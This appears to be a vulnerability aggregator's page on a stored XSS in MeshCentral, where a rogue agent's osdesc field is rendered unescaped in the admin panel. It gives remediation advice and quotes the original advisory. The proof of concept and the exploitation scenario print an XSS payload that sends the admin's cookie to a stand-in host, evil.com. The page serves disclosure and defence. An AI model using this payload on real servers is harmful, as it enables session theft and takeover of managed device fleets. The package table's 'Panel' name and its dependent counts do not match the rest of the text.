GHSA-c7hr-448w-65px: MeshCentral: stored XSS via unsanitized agent osdesc field

GHSA-c7hr-448w-65pxHIGH
Published August 18, 2026
CISO Take

A rogue or compromised MeshAgent can plant an HTML/JavaScript payload in the 'osdesc' field of its coreinfo message, and MeshCentral stores it with zero sanitization before rendering it via innerHTML in the admin device details panel. Because the management UI's CSP still allows 'unsafe-inline', the payload executes unrestricted the moment any admin opens that device's details — no click beyond normal admin workflow required, and scope is changed (CVSS S:C) meaning impact extends to the admin's browser session rather than just the vulnerable component. With 499 downstream dependents and a full working PoC published in the advisory itself, this is trivial to weaponize even though EPSS scoring and CISA KEV status aren't yet available for this freshly disclosed CVE. Patch to meshcentral 1.1.60 immediately; until then, treat any newly-registered or unverified agent as untrusted and avoid opening its device details panel from an authenticated admin session.

Sources:GitHub AdvisoryOpenSSF

What is the risk?

High severity (CVSS 8.3, AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H). Exploitability requires an attacker to first get a rogue or compromised agent connected to the MeshCentral server (AC:H) and then requires an admin to view that device's details panel (UI:R) — not a fully unauthenticated remote exploit, but a low bar in practice since agent enrollment is often loosely controlled and admins routinely inspect newly-seen devices. Once triggered, impact is severe: full confidentiality/integrity/availability compromise of the admin's session via scope-changed stored XSS, with no server-side sanitization anywhere in the agent→DB→UI pipeline and a CSP that does nothing to stop it (unsafe-inline). No public exploit tooling or Nuclei template exists yet and it's not in CISA KEV, but the advisory itself ships a copy-paste PoC, so real-world weaponization risk is elevated relative to what EPSS/KEV absence alone would suggest.

How does the attack unfold?

Initial Access
A rogue or compromised MeshAgent connects to the MeshCentral server and sends a coreinfo message with a crafted osdesc XSS payload.
Storage
The server persists the unsanitized osdesc value to the device record; only a typeof string check is applied, no HTML escaping.
Trigger
An admin opens the device details panel, and addDeviceAttribute()/QH() renders the field via innerHTML, executing the injected script under the permissive unsafe-inline CSP.
Impact
The payload exfiltrates the admin's session cookie or performs privileged actions, giving the attacker admin-level control over the MeshCentral instance and its managed device fleet.

What systems are affected?

PackageEcosystemVulnerable RangePatched
Panelnpm< 1.1.601.1.60
5.8KOpenSSF 6.5514 dependentsPushed today67% patched~15d to patchFull package profile →

Do you use Panel? You're affected.

How severe is it?

CVSS 3.1
8.3 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACHigh
PRNone
UIRequired
SChanged
CHigh
IHigh
AHigh

What should I do?

1 step
  1. Upgrade meshcentral to >= 1.1.60 immediately. Until patched, restrict which agents can register (invite codes, mutual authentication, network segmentation) so untrusted/unknown agents cannot reach the server, and avoid opening device detail panels for newly-seen or unverified devices from a privileged admin session. As defense in depth post-patch, apply server-side HTML sanitization/escaping consistently across all agent-supplied fields (osdesc, name, cpuinfo.thermals[].InstanceName, volumes[].name) rather than relying solely on client-side escaping, and tighten the management UI's CSP to remove 'unsafe-inline'. Detection: audit device records and admin session/API activity for anomalous script-like strings in osdesc/name fields, and monitor for unexpected admin account changes or API key creation following a new device onboarding.

How is it classified?

Code ExecutionPrivacy ViolationAgent

Which compliance frameworks are affected?

This CVE is relevant to:

NIST AI RMF
MANAGE-4.1-Third-party AI system risks are monitored and managed

Frequently Asked Questions

What is GHSA-c7hr-448w-65px?

A rogue or compromised MeshAgent can plant an HTML/JavaScript payload in the 'osdesc' field of its coreinfo message, and MeshCentral stores it with zero sanitization before rendering it via innerHTML in the admin device details panel. Because the management UI's CSP still allows 'unsafe-inline', the payload executes unrestricted the moment any admin opens that device's details — no click beyond normal admin workflow required, and scope is changed (CVSS S:C) meaning impact extends to the admin's browser session rather than just the vulnerable component. With 499 downstream dependents and a full working PoC published in the advisory itself, this is trivial to weaponize even though EPSS scoring and CISA KEV status aren't yet available for this freshly disclosed CVE. Patch to meshcentral 1.1.60 immediately; until then, treat any newly-registered or unverified agent as untrusted and avoid opening its device details panel from an authenticated admin session.

Is GHSA-c7hr-448w-65px actively exploited?

No confirmed active exploitation of GHSA-c7hr-448w-65px has been reported, but organizations should still patch proactively.

How to fix GHSA-c7hr-448w-65px?

Upgrade meshcentral to >= 1.1.60 immediately. Until patched, restrict which agents can register (invite codes, mutual authentication, network segmentation) so untrusted/unknown agents cannot reach the server, and avoid opening device detail panels for newly-seen or unverified devices from a privileged admin session. As defense in depth post-patch, apply server-side HTML sanitization/escaping consistently across all agent-supplied fields (osdesc, name, cpuinfo.thermals[].InstanceName, volumes[].name) rather than relying solely on client-side escaping, and tighten the management UI's CSP to remove 'unsafe-inline'. Detection: audit device records and admin session/API activity for anomalous script-like strings in osdesc/name fields, and monitor for unexpected admin account changes or API key creation following a new device onboarding.

What systems are affected by GHSA-c7hr-448w-65px?

This vulnerability affects the following AI/ML architecture patterns: Device/fleet management dashboards, Remote agent monitoring UIs for ML/edge infrastructure, Admin consoles for distributed AI/ML compute fleets.

What is the CVSS score for GHSA-c7hr-448w-65px?

GHSA-c7hr-448w-65px has a CVSS v3.1 base score of 8.3 (HIGH).

What is the AI security impact?

Affected AI Architectures

Device/fleet management dashboardsRemote agent monitoring UIs for ML/edge infrastructureAdmin consoles for distributed AI/ML compute fleets

Compliance Controls Affected

NIST AI RMF: MANAGE-4.1

What are the technical details?

Original Advisory

### Description A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted. ### Technical Details ```javascript // meshagent.js:1903 -- Agent input, only type check if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc; change = 1; } // default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml() if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); } // addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML // INCONSISTENCY: Same field IS escaped elsewhere: // Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s) // Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '') ``` Additional unescaped agent fields: - node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH - cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM - volumes[].name unescaped in file browser (line 12612) -- MEDIUM No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline. ### Proof of Concept Rogue agent sends via WebSocket: ```json { "action": "coreinfo", "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>", "name": "Legit-PC" } ``` Payload fires when any admin views the device details panel. No click required. <img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />

Exploitation Scenario

An attacker stands up a rogue MeshAgent (or compromises a legitimate one already deployed on an endpoint) and connects it to the target's MeshCentral server. The agent sends a coreinfo WebSocket message with osdesc set to an XSS payload such as `<img src=x onerror='fetch("https://evil.com/steal?"+document.cookie)'>`. The server stores this unsanitized value. When any admin subsequently opens that device's details panel to inspect the new/rogue agent — a routine part of fleet monitoring — the payload fires in their authenticated browser session, exfiltrating session cookies or CSRF tokens, or directly issuing admin actions (creating new admin accounts, pushing commands to the entire managed fleet), escalating a single planted device into full mesh/fleet compromise.

Weaknesses (CWE)

CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

  • [Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • [Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Timeline

Published
August 18, 2026
Last Modified
August 18, 2026
First Seen
August 19, 2026

Related Vulnerabilities